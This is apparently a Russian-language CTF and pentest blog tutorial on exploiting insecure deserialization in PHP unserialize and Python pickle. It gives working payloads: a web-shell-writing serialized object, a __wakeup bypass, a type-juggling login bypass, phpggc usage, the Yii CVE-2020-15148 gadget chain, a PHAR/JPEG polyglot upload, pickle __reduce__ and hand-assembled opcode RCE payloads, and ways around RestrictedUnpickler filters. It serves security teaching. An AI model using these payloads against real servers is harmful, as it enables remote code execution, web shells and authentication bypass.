
EPSS-оценка CVE-2020-15148 — insecure deserialization в Yii Framework 2 — 0.7754. Top 1% по вероятности эксплуатации среди всех CVE в базе. Gadget chain через пять классов фреймворка, от BatchQueryResult.__destruct() до eval(), воспроизводится одной командой phpggc. На CTF задачи с десериализацией стабильно живут в web-категории — от банальной подмены свойств в PHP-cookie до сборки pickle payload через ручные опкоды. Ниже — практический разбор insecure deserialization эксплуатации в PHP и Python: те техники, которые решают задачи на соревнованиях и встречаются на реальных пентестах.
PHP превращает объекты в текстовые строки через serialize() и восстанавливает обратно через unserialize(). Формат человекочитаемый — каждый элемент маркирован буквой типа и длиной значения: Подробнее — в нашем обзоре создание ctf заданий.
O:ДЛИНА:"ИмяКласса":КОЛИЧЕСТВО_СВОЙСТВ:{свойства} — объектs:ДЛИНА:"значение" — строка с явным указанием количества символовi:число — целое число, d:число — floatb:0 или b:1 — boolean (false/true)a:КОЛИЧЕСТВО:{элементы} — ассоциативный массивКонкретный пример: строка O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;} описывает объект класса User с двумя свойствами. Длина в s:6:"carlos" обязана точно совпадать с реальным числом символов — ошибка на один байт, и unserialize() вернёт false, payload молча не сработает. На CTF это самая частая причина «сломанного» эксплойта. Каждый второй участник забывает пересчитать длину строки после правки значения. Каждый. Второй.
Сериализованные данные встречаются в cookie (обычно base64-encoded), POST-параметрах, скрытых полях форм, хранилищах сессий и кэше. По классификации OWASP — A08:2021 (Software and Data Integrity Failures). CWE-502 (Deserialization of Untrusted Data) фиксирует корневую причину: продукт десериализует недоверенные данные без проверки валидности результата. Платформы из каталога MITRE CWE, подверженные CWE-502: Java, Ruby, PHP, Python, JavaScript.
В матрице MITRE ATT&CK эксплуатация десериализации маппится на T1190 (Exploit Public-Facing Application, тактика Initial Access): crafted payload попадает на публичный эндпоинт и выполняет код на сервере без учётных данных. За пределами CTF — это вектор initial access с последующей загрузкой инструментов (T1105, Ingress Tool Transfer) и горизонтальным перемещением по инфраструктуре. Через контролируемый вход в unserialize() атакующий получает RCE без credentials. Не нужна SQL-инъекция, не нужна загрузка файлов. Php unserialize уязвимость возникает, когда пользовательские данные попадают в функцию без фильтрации. PHP восстановит объект любого класса, доступного в контексте выполнения — не того, который приложение ожидает. Отсюда альтернативное название — object injection.
Десериализация объектов PHP становится вектором атаки благодаря magic methods — функциям, которые PHP вызывает автоматически на определённых этапах жизненного цикла объекта. Три ключевых метода для магических методов PHP эксплуатации:
__wakeup() срабатывает сразу после десериализации. Если внутри — eval(), system() или file_put_contents() с параметрами из свойств объекта, атакующий контролирует аргументы через подмену значений в сериализованной строке. Payload генерируется элементарно: создаёшь экземпляр класса с нужным значением свойства, сериализуешь через serialize(), отправляешь.
__destruct() вызывается при уничтожении объекта — даже если приложение вообще не обращается к десериализованному объекту. Скрипт завершится, garbage collector вызовет деструктор, код отработает. Атака завершается раньше, чем приложение «решит», нужен ему этот объект или нет. Деструктору безразлично.
__toString() срабатывает при приведении объекта к строке: echo, конкатенация, логирование. Десериализованный объект попал в строковую операцию — метод выполнится.
Классический CTF-паттерн — класс с деструктором, записывающим данные в файл. Объект Logger со свойствами $logFile = "shell.php" и $logData = "<?php system($_GET['c']);?>" при десериализации создаётся молча, а при завершении скрипта __destruct() вызывает file_put_contents() — веб-шелл оказывается на диске. Для генерации payload через PHP CLI хватает однострочника:
php -r "class Logger{public \$logFile='shell.php';public \$logData='<?php system(\$_GET[\"c\"]);?>';} echo serialize(new Logger);"
На CTF регулярно встречается bypass __wakeup() для PHP версий до 7.4 (CVE-2016-7124). Трюк простой: указать в сериализованной строке количество свойств больше реального — O:4:"Test":2:{s:3:"cmd";s:2:"id";} вместо O:4:"Test":1:{...}. PHP пропустит вызов __wakeup(), но __destruct() сработает штатно. Полезно, когда __wakeup() содержит проверку, блокирующую эксплуатацию — обнуляет свойства или вызывает die(). Приём работает до PHP 8.0, что обычно явно указано в условии задачи.
Вектор, который русскоязычные источники почти не раскрывают. Согласно исследованию PortSwigger Web Security Academy, PHP с оператором нестрогого сравнения (==) открывает отдельный путь эксплуатации — не RCE, но обход аутентификации.
PHP при сравнении == приводит типы автоматически. На PHP 7.x выражение 0 == "Example string" вернёт true, потому что строка без ведущих цифр приводится к integer 0. Выражение 5 == "5 of something" тоже вернёт true — PHP берёт число с начала строки и отбрасывает остаток. Это поведение превращается в уязвимость при десериализации:
$login = unserialize($_COOKIE);
if ($login['password'] == $password) {
// доступ разрешён
}
Если атакующий через десериализацию подменит значение password на integer 0 вместо ожидаемой строки, условие 0 == "s3cur3p@ss" вернёт true. Десериализация сохраняет тип: integer остаётся integer, а не конвертируется в строку, как при получении из GET/POST-параметра. Payload для обхода — a:1:{s:8:"password";i:0;}. Одна буква i вместо s, ноль вместо хэша пароля. Всё.
В PHP 8.0+ сравнение 0 == "Example string" возвращает false. Но 5 == "5 of something" по-прежнему даёт true. На CTF задачи с type juggling явно указывают PHP 7.x в условии или в заголовке X-Powered-By. Видите нестрогое сравнение и unserialize() в одном скрипте — проверяйте подмену типа раньше, чем начнёте строить gadget chain.
Один класс с eval() в магическом методе — учебный пример. В реальных CTF-задачах уровня medium-hard нужно выстроить цепочку вызовов через несколько классов — Property Oriented Programming (POP) chain. Именно gadget chain PHP делает десериализацию по-настоящему опасным вектором.
Принцип POP chain: __destruct() первого объекта вызывает метод у свойства, которое само — объект другого класса. Тот через __toString(), __call() или обычный метод дёргает третий — и так до sink-функции (eval(), system(), file_put_contents()). Атакующий не внедряет новый код, а переиспользует существующие методы приложения или фреймворка, соединяя их в последовательность, которую разработчики не предусматривали. Красиво, если вдуматься.
Для автоматизации поиска POP chains во фреймворках есть phpggc — библиотека готовых gadget chains. Просмотр всех доступных цепочек: phpggc -l. Фильтрация по фреймворку: phpggc -l Laravel. Генерация payload: phpggc Laravel/RCE1 system id создаёт сериализованную строку, выполняющую system('id') при десериализации в Laravel-приложении.
Типичный CTF-workflow: определить фреймворк через заголовки ответа или composer.json (через LFI или source disclosure), подобрать цепочку в phpggc, сгенерировать payload, закодировать в base64, подставить в cookie. Звучит просто. Но phpggc знает только публичные chains — для кастомных приложений цепочку придётся строить руками.
Как выглядит ручное построение, демонстрирует CVE-2020-15148 — уязвимость в Yii Framework 2 до версии 2.0.38 (CVSS 8.9 HIGH, вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H, CWE-502). По данным EPSS — 0.7754, Top 1% по вероятности эксплуатации. Nuclei-шаблон для детекции — http/cves/2020/CVE-2020-15148.yaml.
Исследователи из RedTeam Pentesting описали процесс трассировки chain: поиск начинается с grep по __destruct в исходниках фреймворка. В Yii 2.0.37 единственный результат — класс yii\db\BatchQueryResult с деструктором, вызывающим $this->reset(). Метод reset() вызывает $this->_dataReader->close(). Подставив в _dataReader объект yii\web\DbSession, получаем вызов composeFields(), который использует call_user_func($this->writeCallback, $this). Финальный шаг — направить writeCallback на метод generateDependencyData() класса yii\caching\ExpressionDependency, содержащий eval("return {$this->expression};").
Итоговая цепочка: BatchQueryResult.__destruct() → reset() → DbSession.close() → composeFields() → call_user_func() → ExpressionDependency.generateDependencyData() → eval(). Пять классов, ни один не содержит прямого вызова system() — но в совокупности дают RCE. Уязвимость исправлена в версии 2.0.38 пакета yiisoft/yii2.
Контрастный пример — CVE-2023-30534 в Cacti v1.2.24 (CVSS 4.3 MEDIUM, CWE-502). Два экземпляра небезопасной десериализации есть, gadget chain через phpseclib присутствует в vendor-директории — но необходимые гаджеты не подключены, эксплуатация невозможна. CISA оценила как Track* (PoC есть, автоматизация — нет, technical impact — partial). Десериализация без доступных гаджетов — уязвимость, но не эксплуатируемая. Gadget chain — ключевое условие pop chain exploitation в PHP. Без него уязвимость — просто запись в CVE-базе.
PHAR (PHP Archive) хранит метаданные в сериализованном виде. При обращении к файлу через stream wrapper phar:// PHP автоматически десериализует метаданные — без явного вызова unserialize() в коде. Поверхность атаки расширяется на все функции с поддержкой stream wrappers: file_exists(), is_dir(), file_get_contents(), fopen(), filesize().
Техника: создать PHAR-архив с вредоносным объектом в метаданных, содержащим gadget chain. Для обхода проверки формата при загрузке используется polyglot — файл, валидный одновременно как JPEG и как PHAR. Заголовок \xFF\xD8 (JPEG magic bytes) ставится первым, чтобы загрузчик изображений был доволен, а маркер __HALT_COMPILER(); указывает PHP на начало PHAR-данных. Загружаешь polyglot как «аватар» через стандартный upload, затем обращаешься к нему через путь phar://uploads/avatar.jpg в функции с поддержкой wrappers — десериализация метаданных срабатывает, gadget chain выполняется. Аватарка превращается в бэкдор.
На CTF такие задачи уровня hard. Нужны два условия одновременно: контроль над путём в функции с поддержкой stream wrappers плюс возможность загрузить файл на сервер. Встречается реже прямого unserialize(), но именно PHAR-вектор ломает предположение «мы не используем unserialize, значит безопасны».
Python pickle — бинарный протокол сериализации из стандартной библиотеки. pickle.dumps() превращает объект в байтовую строку, pickle.loads() восстанавливает. Ключевое отличие от PHP: для python pickle RCE не нужны gadget chains и не нужен доступ к исходникам приложения. Вообще.
Метод __reduce__ определяет, как объект восстанавливается при десериализации. Он возвращает кортеж (callable, args) — и pickle.loads() вызовет callable(*args). Подставив os.system в качестве callable, получаем выполнение произвольного кода:
import pickle, base64
class Exploit:
def __reduce__(self):
import os
return (os.system, ('cat /flag.txt',))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())
Результат pickle.loads(base64.b64decode(payload)) выполнит os.system('cat /flag.txt') на сервере. Дополнительных классов на стороне приложения не требуется. В PHP для RCE нужен подходящий gadget chain с sink-функцией — в Python любой вызов pickle.loads() на недоверенных данных уже даёт полный RCE. Этим pickle python эксплуатация принципиально проще: барьер входа ниже, а результат тот же.
На CTF pickle-задачи чаще всего маскируются под cookie (base64-encoded), WebSocket-сообщения или POST-body в API на Flask/Django. Сигнатура: байты \x80\x04\x95 в начале (protocol 4) или \x80\x05\x95 (protocol 5). Protocol 0 — текстовый, начинается с (dp0 или cos\n.
Для отладки — встроенный дизассемблер pickletools.dis(), показывающий каждый опкод:
import pickle, pickletools
class Exploit:
def __reduce__(self):
import os
return (os.system, ('id',))
pickletools.dis(pickle.dumps(Exploit()))
Вывод покажет последовательность: GLOBAL 'posix system', SHORT_BINUNICODE 'id', TUPLE1, REDUCE, STOP. Каждый опкод — однобайтовая инструкция виртуальной машины pickle. Понимание этой последовательности критично для обхода фильтров.
На CTF средней и высокой сложности появляется RestrictedUnpickler — кастомный класс, наследующий pickle.Unpickler и переопределяющий метод find_class(). Типичная фильтрация блокирует импорт os, subprocess, builtins — стандартных модулей для RCE. Стандартный __reduce__ payload с os.system не пройдёт. Тут начинается ручная работа с опкодами.
Pickle — стековая виртуальная машина. Ключевые опкоды: c (GLOBAL — импорт модуля и атрибута), ( (MARK — метка стека), t (TUPLE — собрать кортеж из элементов до MARK), R (REDUCE — вызвать callable с аргументами), . (STOP — завершение). Минимальный payload для os.system('id') в protocol 0:
b"cos\nsystem\n(S'id'\ntR."
Восемнадцать байт — и RCE.
Разбор по опкодам: c импортирует os.system, ( ставит MARK, S'id' кладёт строку на стек, t собирает кортеж ('id',), R вызывает system('id'), . завершает выполнение. Если pickletools.dis() показывает ошибку — опкод или его аргумент сформированы неправильно. Пересобирайте.
Конкретные способы обхода зависят от реализации фильтра. Несколько приёмов, которые я видел на CTF:
Если фильтр проверяет имя модуля по точному совпадению с os, но не блокирует posix или nt — вызываем system через альтернативное имя модуля. На Linux os.system внутренне проксирует через posix. Фильтр смотрит на строку «os» — а мы подсовываем «posix». Мимо.
Если разрешён builtins.getattr, payload собирается через цепочку: получить ссылку на __import__ через getattr, импортировать нужный модуль, вызвать функцию. Это обходит фильтр на GLOBAL для конкретного модуля.
Если builtins.eval не заблокирован — вся фильтрация GLOBAL для отдельных модулей бессмысленна, потому что eval('__import__("os").system("id")') обходит любые ограничения на уровне опкодов. Один незаблокированный eval — и вся защита рассыпается.
Для продвинутых задач: opcode i (INST) и o (OBJ) — альтернативные способы создания объектов, которые некоторые фильтры не учитывают. Опкод b (BUILD) вызывает __setstate__, что может стать отдельным вектором, если приложение определяет этот метод.
Главный инструмент при работе с ограниченными unpickler — pickletools.dis() на каждом этапе сборки payload. Payload отвергается — дизассемблируйте, найдите опкод, который блокирует фильтр, замените на альтернативный. Методично.
Пошаговый workflow для ctf writeup десериализации, который работает для большинства задач:
Шаг 1 — определить формат. PHP-сериализация начинается с O:, a:, s:. Pickle protocol 0 — с cos\n или (dp0. Pickle protocol 2+ — с \x80\x02 (или \x80\x04, \x80\x05). Java — с ac ed в hex или rO0 в base64. Base64-decode всех cookie и скрытых параметров.
Шаг 2 — определить язык и фреймворк. Заголовки ответа (X-Powered-By: PHP/7.4, Server: Werkzeug), структура URL (/index.php vs /api/v1/), файлы конфигурации (composer.json или requirements.txt через LFI / source disclosure).
Шаг 3 — построить payload. Для PHP: grep -rn '__destruct\|__wakeup\|__toString' по исходникам, если доступны. Фреймворк известен — phpggc -l <framework>. Для Python без фильтров — __reduce__ payload с os.system. С фильтрами — анализ find_class() и подбор обходного пути.
Шаг 4 — доставить. Кодировка зависит от канала: base64 для cookie, URL-encode для GET, raw bytes для POST. Отправить через Burp Suite Repeater, проверить ответ или side-effect (появление файла, DNS-запрос на контролируемый домен).
Шаг 5 — отладка. PHP: пересчитать длины строк и количество свойств — unserialize() молча возвращает false при ошибке. Pickle: pickletools.dis() покажет битый опкод с точной позицией.
| Характеристика | PHP unserialize | Python pickle |
|---|---|---|
| Формат данных | Текстовый, читаемый | Бинарный (опкоды) |
| Путь к RCE | Magic methods + gadget chain | reduce напрямую |
| Нужен исходный код | Да (для построения chain) | Нет |
| Основной инструмент | phpggc | Ручная сборка + pickletools |
| Типичная защита | allowed_classes | RestrictedUnpickler |
| Сложность базовой эксплуатации | Средняя-высокая | Низкая (без фильтров) |
| Сложность при наличии фильтров | Высокая | Средняя-высокая |
На каждом втором web-CTF, где я участвовал за последний год, минимум одна задача завязана на десериализацию — PHP или Python. Разница между solve за 15 минут и зависанием на два часа — в понимании того, что происходит на уровне байтов, а не в наличии готового скрипта. Участники, которые копируют payload из чужого writeup, ломаются на первом нестандартном фильтре: RestrictedUnpickler с whitelist модулей, allowed_classes в unserialize(), HMAC на cookie.
Мой подход — каждый pickle payload собирать хотя бы раз через опкоды вручную, а каждый PHP chain трассировать от __destruct до sink-функции по исходникам. Неудобно. Медленнее. Но когда на соревновании попадается кастомный фреймворк без chain в phpggc или RestrictedUnpickler с нетривиальным whitelist, навык ручной сборки — единственное, что работает. Готовые инструменты закрывают стандартные случаи; нестандартные выигрывают те, кто понимает механику.
CVE-2020-15148 с пятью классами в цепочке — пример, который стоит разобрать целиком: не для заучивания конкретного chain, а для тренировки навыка трассировки от magic method до eval. На WAPT эту цепочку от базовой десериализации до POP chains проходят в лабораторных условиях с ментором — для тех, кому одних writeup'ов недостаточно.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...